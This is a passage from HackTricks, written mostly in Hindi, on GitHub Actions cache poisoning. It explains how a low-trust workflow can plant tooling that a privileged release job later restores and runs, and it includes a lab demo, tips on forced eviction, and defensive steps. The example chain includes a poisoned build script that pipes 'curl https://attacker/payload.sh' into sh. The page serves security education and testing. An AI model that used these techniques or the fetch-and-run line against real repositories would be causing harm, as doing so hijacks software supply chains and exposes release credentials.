GH Actions - Cache Poisoning

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

अवलोकन

The GitHub Actions cache किसी repository के लिए global होता है। कोई भी workflow जो किसी cache key (या restore-keys) को जानता है वह उस entry को populate कर सकता है, भले ही job के पास केवल permissions: contents: read ही क्यों न हो। GitHub caches को workflow, event type, या trust level द्वारा segregate नहीं करता, इसलिए attacker जो किसी low-privilege job को compromise कर लेता है वह एक ऐसा cache poison कर सकता है जिसे बाद में कोई privileged release job restore करेगा। यही तरीका था जिससे Ultralytics compromise ने pull_request_target workflow से PyPI publishing pipeline में pivot किया।

हमला के मूल तत्व

  • actions/cache exposes both restore and save operations (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). The save call किसी भी job के लिए allowed है सिवाय उन वास्तव में untrusted pull_request workflows के जो forks से trigger होते हैं।
  • Cache entries सिर्फ key से identified होते हैं। Broad restore-keys payloads inject करना आसान बनाते हैं क्योंकि attacker को केवल एक prefix से collide करना होता है।
  • Cache keys और versions client-specified values होते हैं; cache service validate नहीं करता कि कोई key/version किसी trusted workflow या cache path से मेल खाता है या नहीं।
  • The cache server URL + runtime token workflow की तुलना में long-lived होते हैं (historically ~6 hours, now ~90 minutes) और user-revocable नहीं होते। As of late 2024 GitHub originating job complete होने के बाद cache writes block कर देता है, इसलिए attackers को लिखना होगा जबकि job अभी चल रहा है या उन्हें future keys को pre-poison करना होगा।
  • The cached filesystem verbatim restore किया जाता है। अगर cache में scripts या binaries हैं जिन्हें बाद में execute किया जाता है, तो attacker उस execution path को control कर लेता है।
  • The cache file itself restore पर validated नहीं होता; यह सिर्फ एक zstd-compressed archive है, इसलिए एक poisoned entry scripts, package.json, या restore path के अन्य files को overwrite कर सकती है।

Example exploitation chain

Author workflow (pull_request_target) ने cache को poison किया:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Prileged workflow ने poisoned cache को पुनर्स्थापित किया और निष्पादित किया:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

दूसरी job अब release credentials (PyPI tokens, PATs, cloud deploy keys, आदि) रखते हुए attacker-controlled code चलाती है।

Poisoning mechanics

GitHub Actions cache entries आम तौर पर zstd-compressed tar archives होते हैं। आप स्थानीय रूप से एक तैयार करके उसे cache में अपलोड कर सकते हैं:

tar --zstd -cf poisoned_cache.tzstd cache/contents/here

On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.

व्यावहारिक शोषण सुझाव

  • उन workflows को लक्षित करें जो pull_request_target, issue_comment, या bot commands से trigger होते हैं और जो अभी भी caches save करते हैं; GitHub इन्हें repository-व्यापी keys overwrite करने देता है भले ही runner को repo का केवल read access हो।
  • ऐसे deterministic cache keys ढूंढें जो trust boundaries के पार reuse होते हैं (उदाहरण के लिए, pip-${{ hashFiles('poetry.lock') }}) या permissive restore-keys; फिर privileged workflow चलने से पहले अपना malicious tarball save कर दें।
  • लॉग्स में Cache saved entries मॉनिटर करें या अपना cache-save step जोड़ें ताकि अगला release job payload restore करे और trojanized scripts या binaries execute हो जाएँ।

Angular (2026) chain में देखी गयी नई तकनीकें

  • Cache v2 “prefix hit” behavior: Cache v2 में, exact misses फिर भी उसी key prefix साझा करने वाले किसी अन्य entry को restore कर सकते हैं (वास्तव में “all keys are restore keys”)। हमलावर near-collision keys को पहले से seed कर सकते हैं ताकि भविष्य में miss होने पर वह poisoned object पर fall back कर जाए।
  • Forced eviction in one run: Since November 20, 2025, GitHub repository cache उपयोग limit (डिफ़ॉल्ट 10 GB) से अधिक होने पर entries को तुरंत evict कर देता है। एक हमलावर पहले junk cache data upload कर सकता है, उसी job के दौरान legitimate entries को evict कर सकता है, और फिर malicious cache key लिख सकता है बिना दैनिक cleanup cycle का इंतज़ार किए।
  • setup-node cache pivots via reusable actions: Reusable/internal actions जो actions/setup-node को cache-dependency-path के साथ wrap करते हैं, low-trust और high-trust workflows के बीच चुपचाप पुल बना सकते हैं। यदि दोनों paths shared keys पर hash करते हैं, तो dependency cache को poison करने से privileged automation (उदाहरण के लिए Renovate/bot jobs) में execute हो सकता है।
  • Chaining cache poisoning into bot-driven supply chain abuse: Angular मामले में, cache poisoning ने एक bot PAT उजागर किया, जिसे approval के बाद bot-owned PR heads को force-push करने में इस्तेमाल किया जा सका। यदि approval-reset नियम bot actors को exempt करते हैं, तो यह reviewed commits को merge से पहले malicious ones (उदाहरण के लिए imposter action SHAs) से बदलने की अनुमति देता है।

##å Cacheract

Cacheract is a PoC-focused toolkit for GitHub Actions cache poisoning in authorized testing. The practical value is that it automates the fragile parts that are easy to get wrong manually:

  • Runner से runtime cache context detect और use करें (ACTIONS_RUNTIME_TOKEN और cache service URL)।
  • Downstream workflows द्वारा उपयोग किए जाने वाले candidate cache keys/versions को enumerate और target करें।
  • Cache quota को overfill करके (जहाँ लागू हो) force eviction करें और फिर उसी run में attacker-controlled entries लिखें।
  • Poisoned cache content seed करें ताकि बाद के workflows modified tooling को restore और execute करें।

यह विशेष रूप से Cache v2 environments में उपयोगी है जहाँ timing और key/version व्यवहार प्रारम्भिक cache implementations की तुलना में अधिक मायने रखते हैं।

डेमो

इसे केवल उन repositories में इस्तेमाल करें जिनके आप मालिक हैं या जिन्हें आपको स्पष्ट रूप से परीक्षण की अनुमति दी गई है।

1. कमजोर workflow (untrusted trigger cache को सहेज सकता है)

यह workflow एक pull_request_target anti-pattern का अनुकरण करता है: यह attacker-controlled context से cache content लिखता है और उसे एक deterministic key के तहत सहेजता है।

name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]

permissions:
contents: read

jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

2. विशेषाधिकार प्राप्त वर्कफ़्लो (कैश्ड बाइनरी/स्क्रिप्ट को रिस्टोर और निष्पादित करता है)

यह वर्कफ़्लो वही कुंजी रिस्टोर करता है और एक डमी सीक्रेट रखते हुए toolchain/bin/build को निष्पादित करता है। यदि यह दूषित हो गया है, तो निष्पादन पथ हमलावर-नियंत्रित हो जाता है।

name: privileged-consumer
on:
workflow_dispatch:

permissions:
contents: read

jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"

3. Run the lab

  • एक स्थिर toolchain.lock फ़ाइल जोड़ें ताकि दोनों workflows समान cache key को resolve कर सकें।
  • एक टेस्ट PR से untrusted-cache-writer को ट्रिगर करें।
  • workflow_dispatch के माध्यम से privileged-consumer को ट्रिगर करें।
  • पुष्टि करें कि POISONED_BUILD_PATH लॉग्स में दिखाई दे और /tmp/cache-poisoning-demo.txt बनाया गया हो।

4. What this demonstrates technically

  • Cross-workflow cache trust break: writer और consumer workflows का trust level समान नहीं होता, लेकिन वे cache namespace साझा करते हैं।
  • Execution-on-restore risk: पुनर्स्थापित स्क्रिप्ट/बाइनरी को चलाने से पहले कोई integrity validation नहीं किया जाता।
  • Deterministic key abuse: यदि किसी high-trust job द्वारा predictable keys का उपयोग किया जाता है, तो low-trust job पहले से malicious सामग्री रख सकता है।

5. Defensive verification checklist

  • keys को trust boundary के अनुसार विभाजित करें (pr-, ci-, release-) और shared prefixes से बचें।
  • untrusted workflows में cache writes को अक्षम करें।
  • चलाने से पहले restored executable कंटेंट का hash/verify करें।
  • cache paths से सीधे tools को चलाने से बचें।

References

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें